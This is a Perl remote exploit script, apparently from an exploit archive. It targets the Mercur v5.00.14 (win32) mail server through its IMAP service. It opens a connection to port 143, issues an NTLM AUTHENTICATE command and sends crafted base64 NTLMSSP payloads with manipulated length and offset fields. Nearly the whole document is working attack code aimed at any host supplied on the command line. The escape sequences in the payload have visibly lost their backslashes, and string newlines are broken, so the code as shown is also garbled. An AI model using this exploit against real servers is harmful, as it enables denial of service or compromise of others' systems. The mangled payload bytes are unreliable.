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mercur-v1.txt

Posted on 21 March 2007

#!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

if (connect_host($target, $imapd_port)) {
print("-> * Connected
");

$buf = "1 AUTHENTICATE NTLM
";
send(SOCKET, $buf, 0);
sleep($send_delay);

print("-> * Sending payload
");

# src = "NTLMSSP....."
$buf = "NTLMSSP".("A"x100);
send(SOCKET, encode_base64($buf)."
", 0);
sleep($send_delay);

# memcpy(s, src+a, b);
print("-> * Sending payload 2
");
$buf = "NTLMSSP".
"x69".
"x03x00x00x00".
"xffxff".         # b
("A"x2).
"x00x00".         # a
("A"x2).
"x00x00".
("A"x2).
"x00x00".
("A"x2).
"x04x00".
("A"x6).
"x00x80".
("A"x6).
"x04x00".
("A"x12);

send(SOCKET, encode_base64($buf)."
", 0);
sleep($send_delay);

print("-> * Successfully sent payload!
");
}

sub print_header {
print("Mercur v5.00.14 (win32) remote exploit
");
print("by: <mu-b@digit-labs.org>

");
}

sub usage {
print(qq(Usage: $0 -t <hostname>

-t <hostname>    : hostname to test
));

exit(1);
}

sub connect_host {
($target, $port) = @_;
$iaddr  = inet_aton($target)                 || die("Error: $!
");
$paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!
");
$proto  = getprotobyname('tcp')              || die("Error: $!
");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr)                      || die("Error: $!
");
return(1338);
}

 

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